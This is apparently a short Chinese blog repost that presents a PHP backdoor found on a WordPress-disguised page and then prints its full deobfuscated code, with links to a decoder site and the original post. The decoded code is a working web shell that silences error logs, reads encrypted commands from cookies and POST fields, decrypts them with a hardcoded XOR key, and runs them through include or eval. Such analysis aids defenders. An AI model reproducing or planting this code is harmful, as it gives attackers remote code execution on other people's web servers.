代码解密：https://malwaredecoder.com/result/fc0d676e44b62985879f8f61a598df7a
一段后门代码：
<?php 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?><pre align=center><form>wordpress</form></pre>
解密后的代码：
${"GLOBALS"}["sprbwloi"]="out_data";${"GLOBALS"}["wdkqegbts"]="key3";${"GLOBALS"}["redsobdgfw"]="key2";${"GLOBALS"}["cxvtsrcwr"]="n";${"GLOBALS"}["udwwxeinjs"]="c";${"GLOBALS"}["ctxgvqglvog"]="p";${"GLOBALS"}["sjhywnh"]="s";${"GLOBALS"}["rdhiivgrm"]="base64inv";${"GLOBALS"}["oimfwpbvs"]="i";${"GLOBALS"}["xefudwekqxr"]="base64chars";${"GLOBALS"}["jkoztogk"]="d";${"GLOBALS"}["jfdubfsy"]="a";${"GLOBALS"}["ppmuyvi"]="r";${"GLOBALS"}["fkmyqex"]="ak";${"GLOBALS"}["nviqphl"]="data";${"GLOBALS"}["qlymokfzoe"]="key";@ini_set("error_log",NULL);@ini_set("log_errors",0);@ini_set("max_execution_time",0);@set_time_limit(0);array_walk($_COOKIE,"enumerator");array_walk($_POST,"enumerator");function enumerator($value,$key){${"GLOBALS"}["wbnrdf"]="data";${"GLOBALS"}["xvswmtvyod"]="value";${${"GLOBALS"}["wbnrdf"]}[email protected](decode(get_params(${${"GLOBALS"}["xvswmtvyod"]}),${${"GLOBALS"}["qlymokfzoe"]}));@extract(${${"GLOBALS"}["nviqphl"]});if(isset(${${"GLOBALS"}["fkmyqex"]})){${"GLOBALS"}["kdccuutjccpn"]="r";${${"GLOBALS"}["kdccuutjccpn"]}=array();${"GLOBALS"}["jkblali"]="a";$dnyyrqcjhbg="r";${${"GLOBALS"}["ppmuyvi"]}["sv"]="1.0-3";$kwshfzxow="r";${$dnyyrqcjhbg}["pv"]=PHP_VERSION;if(ord(${${"GLOBALS"}["jfdubfsy"]})==105)[email protected](${$kwshfzxow});elseif(ord(${${"GLOBALS"}["jkblali"]})==101)eval(${${"GLOBALS"}["jkoztogk"]});}}function get_params($s){$egmozpvqw="c";$dvhtoerid="base64chars";${"GLOBALS"}["iaktaepzkolt"]="s";${${"GLOBALS"}["xefudwekqxr"]}="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";${"GLOBALS"}["udgmotllrqqy"]="r";$navmbtcm="p";$hbzvyvtkwl="p";$lksboqor="s";${"GLOBALS"}["ncdgqrusodb"]="base64inv";$pjitegq="s";${${"GLOBALS"}["ncdgqrusodb"]}=Array();${"GLOBALS"}["ahrcdhkljchf"]="s";${"GLOBALS"}["swzjdmmek"]="r";for(${${"GLOBALS"}["oimfwpbvs"]}=0;${${"GLOBALS"}["oimfwpbvs"]}<strlen(${$dvhtoerid});${${"GLOBALS"}["oimfwpbvs"]}++){${${"GLOBALS"}["rdhiivgrm"]}[${${"GLOBALS"}["xefudwekqxr"]}[${${"GLOBALS"}["oimfwpbvs"]}]]=${${"GLOBALS"}["oimfwpbvs"]};}${${"GLOBALS"}["sjhywnh"]}=preg_replace("~[^A-Za-z0-9\+\/\=]~","",${$lksboqor});${$hbzvyvtkwl}=${${"GLOBALS"}["sjhywnh"]}[strlen(${${"GLOBALS"}["ahrcdhkljchf"]})-1]=="="?(${${"GLOBALS"}["sjhywnh"]}[strlen(${${"GLOBALS"}["sjhywnh"]})-2]=="="?"AA":"A"):"";${"GLOBALS"}["jihkumyrnqc"]="r";${${"GLOBALS"}["udgmotllrqqy"]}="";${${"GLOBALS"}["sjhywnh"]}=substr(${$pjitegq},0,strlen(${${"GLOBALS"}["iaktaepzkolt"]})-strlen(${$navmbtcm})).${${"GLOBALS"}["ctxgvqglvog"]};for(${$egmozpvqw}=0;${${"GLOBALS"}["udwwxeinjs"]}<strlen(${${"GLOBALS"}["sjhywnh"]});${${"GLOBALS"}["udwwxeinjs"]}+=4){${"GLOBALS"}["jwinqmwbc"]="s";${"GLOBALS"}["anedqeyvb"]="n";$pwqkwj="base64inv";$fyojtix="n";$gkrhxxtopl="s";${"GLOBALS"}["tmvjhkld"]="s";${"GLOBALS"}["azsoohxnuwzv"]="c";${"GLOBALS"}["tjlulavigd"]="n";${${"GLOBALS"}["cxvtsrcwr"]}=(${${"GLOBALS"}["rdhiivgrm"]}[${${"GLOBALS"}["sjhywnh"]}[${${"GLOBALS"}["azsoohxnuwzv"]}]]<<18)+(${${"GLOBALS"}["rdhiivgrm"]}[${${"GLOBALS"}["jwinqmwbc"]}[${${"GLOBALS"}["udwwxeinjs"]}+1]]<<12)+(${${"GLOBALS"}["rdhiivgrm"]}[${$gkrhxxtopl}[${${"GLOBALS"}["udwwxeinjs"]}+2]]<<6)+${$pwqkwj}[${${"GLOBALS"}["tmvjhkld"]}[${${"GLOBALS"}["udwwxeinjs"]}+3]];${${"GLOBALS"}["ppmuyvi"]}.=chr((${${"GLOBALS"}["tjlulavigd"]}>>16)&255).chr((${${"GLOBALS"}["anedqeyvb"]}>>8)&255).chr(${$fyojtix}&255);}return substr(${${"GLOBALS"}["swzjdmmek"]},0,strlen(${${"GLOBALS"}["jihkumyrnqc"]})-strlen(${${"GLOBALS"}["ctxgvqglvog"]}));}function decode($data,$key){${"GLOBALS"}["nzxzxhduiwf"]="i";${"GLOBALS"}["xiqwbdkw"]="key3";${"GLOBALS"}["hxntsm"]="data";$nfcrlzoqiyym="i";$ofbkzgrupiv="out_data";${"GLOBALS"}["eialutu"]="i";${${"GLOBALS"}["redsobdgfw"]}="08ae81a2-e451-4c98-88ce-9d22562f0ac0";${"GLOBALS"}["nmtkukde"]="out_data";$eykvvkxfgb="i";$hlrlfgf="key";${${"GLOBALS"}["wdkqegbts"]}=pack("H*","045d07530b5003570054555755000056580e0001095001000f02500b0c00075155535752");${$ofbkzgrupiv}="";${"GLOBALS"}["ogycsfqpq"]="key3";for(${$nfcrlzoqiyym}=0;${${"GLOBALS"}["nzxzxhduiwf"]}<strlen(${${"GLOBALS"}["nviqphl"]});${${"GLOBALS"}["oimfwpbvs"]}++)${${"GLOBALS"}["sprbwloi"]}.=${${"GLOBALS"}["hxntsm"]}[${$eykvvkxfgb}]^${$hlrlfgf}[${${"GLOBALS"}["oimfwpbvs"]}%strlen(${${"GLOBALS"}["qlymokfzoe"]})]^${${"GLOBALS"}["redsobdgfw"]}[${${"GLOBALS"}["eialutu"]}%strlen(${${"GLOBALS"}["redsobdgfw"]})]^${${"GLOBALS"}["ogycsfqpq"]}[${${"GLOBALS"}["oimfwpbvs"]}%strlen(${${"GLOBALS"}["xiqwbdkw"]})];return${${"GLOBALS"}["nmtkukde"]};}<pre align=center><form>wordpress</form></pre>
原文地址：http://blog.51cto.com/simeon/2094934